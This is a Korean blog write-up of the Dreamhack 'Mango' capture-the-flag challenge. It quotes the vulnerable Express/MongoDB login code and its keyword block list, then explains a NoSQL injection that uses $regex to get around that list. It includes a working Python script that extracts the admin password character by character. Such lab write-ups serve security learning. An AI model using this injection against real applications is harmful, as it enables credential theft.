본문 바로가기

웹해킹

[드림핵] Mango 풀이

728x90

flag는 admin의 upw 부분에 위치하고 있어

비밀번호를 구하는 문제인 것 같다

 

 

문제코드

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

/login 루트를 확인하면

admin, dh, admi 필터가 존재하는것을 알 수 있고

쿼리문을 삽입할 시에

object같은 형태를 검사하는 코드가 존재하지 않는다는 것을 볼 수 있다

 

그렇다면 login 루트에 object 형태로 admin과 비밀번호를 한자리씩

확인한다면 login 쿼리문 성공 시

result['uid'] 즉 쿼리에 삽입한 uid가 출력되게 된다

admin 비밀번호를 알아내는 것이므로 admin결과가 나올것이다

 

 

그리고 이 js 코드는 mongo DB를 사용한다

일단 Mongo DB에서 mysql에서 like, substr 같은 기능을 하는 

명령어를 찾아야하는데

db.collection('user').findOne 을 쿼리문으로 사용하는데

이 findOne에서 사용하는 명령어를 찾아야 한다

 

Mongo DB에서는 $regex를 사용할 수 있다

$regex는 password 에서 p,pa를 입력한다면 참으로 반환한다

그리고 배열의 길이 즉 비밀번호의 길이를 확인하고 싶다면

$size를 사용하면 된다

 

 

 

 

먼저 전체 비밀번호를 찾기전

올바른 쿼리문을 확인해야 한다

비밀번호는 DH{}형태로 되어있기 때문에

첫글자를 D로 확인하여 진행하면 된다

 

 

admin과 DH를 필터링 하기 때문에

$regex를 사용하여 우회를 해줘야한다

/login?uid[$regex]=ad&upw[$regex]=D

를 입력한다면 ad이 포함된 사용자 그리고 upw에 D가 포함되어있는

사용자의 uid를 출력할 것이다

 

이런식으로 진행할 수 있다

 

그리고 각각의 비밀번호를 구할 때 DH를 입력해야 하지만

DH에 필터링이 걸려있기 때문에 

D.{으로 입력한다면 $regex에 의해 비밀번호에 존재하는 DH{데이터}값으로 인식하여

.으로 우회할 수 있다 (유사하게 *으로도 가능하다)

 

 

 

payload

import requests,string

host = 'http://host3.dreamhack.games:10257/'
flag = ''

for i in range(32):
    for ii in string.printable:
        
        response = requests.get(f'{host}login?uid[$regex]=ad&upw[$regex]=D.{{{flag}{ii}')
        if response.text == 'admin':
            flag += ii
            print(flag)
            break
    
    print(flag)
   
print(f'DH{{{flag}}}')

 

payload에서 중요하게 볼것은 2번째 for문의 string.printable이다

string.printable은 출력할 수 있는 문자의 집합이기 때문에

만약 아스키 값으로만 진행하려 한다면 

 

데이터 -> 쿼리문 형태라면 상관없지만

데이터 -> url -> 쿼리문 형태로 입력되기 때문에

 

url 에 아스키 값으로 입력했을 시 

hex코드로 들어가게 된다

그리고 32,126범위로 진행하게 된다면

정확한 형태를 얻기 어렵기 때문에

string.printable을 이용하여 진행한다

 

 

결과

파이썬 코드로 반복문을 이용해 flag값 획득 성공

 

 

 

 

 

 

풀이 실패 과정

1. 처음 시도할 때 32~126에 범위로 chr함수를 이용해 전달했는데

이유를 알 수 없는 특정 문자가 나왔다

(이는 chr 형태로 전달했을 시 hex 코드로 읽기 때문이라고 예상한다)

 

2. $regex를 잘 몰라서 어려움이 있었다

'웹해킹' 카테고리의 다른 글

[드림핵] web-ssrf 풀이  (0) 2024.10.12
[드림핵] command-injection-1 풀이  (0) 2024.10.10
[드림핵] simple_sqli 풀이  (1) 2024.10.09
[드림핵] csrf-2 풀이  (1) 2024.10.09
[드림핵] csrf-1 풀이  (0) 2024.10.08